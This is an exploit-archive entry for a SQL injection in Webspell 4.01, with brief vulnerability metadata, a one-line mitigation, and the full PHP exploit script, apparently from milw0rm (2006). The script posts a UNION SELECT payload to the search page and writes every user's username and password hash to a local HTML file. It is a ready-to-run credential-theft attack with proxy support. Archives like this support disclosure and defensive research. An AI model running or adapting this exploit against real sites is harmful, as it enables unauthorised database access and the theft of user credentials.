Webspell 4.01 Exploit

vendor:

Webspell 4.01

by:

Alexander Wilhelm

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Webspell 4.01

Affected Version From: Webspell 4.01

Affected Version To: Webspell 4.01

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

This exploit is used to gain access to the passwords of all users in the webspell 4.01 application. It uses a SQL injection vulnerability to gain access to the database and extract the passwords.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooo webspell 4.01 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php webspell-401-exploit.php [url] [prefix]\n";
    echo "oo proxy support  $ php webspell-401-exploit.php [url] [prefix] [proxy]:[port]\n";
    echo "oo example        $ php webspell-401-exploit.php http://localhost webs_\n";
    echo "oo open the file webspell_pw.html - there you find the passwords of all users\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 13/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?site=search&action=search";
    $xss_http_post = "table=news&title1=9a39b0c5e6849658e30d1432a308103d&title_op=UNION SELECT 1, 1, 1, 1, username, `password`, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 FROM ". $_SERVER['argv'][2] ."user/*";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_POST, 1);
    curl_setopt ($xss_connection, CURLOPT_POSTFIELDS, $xss_http_post);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("webspell_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-14]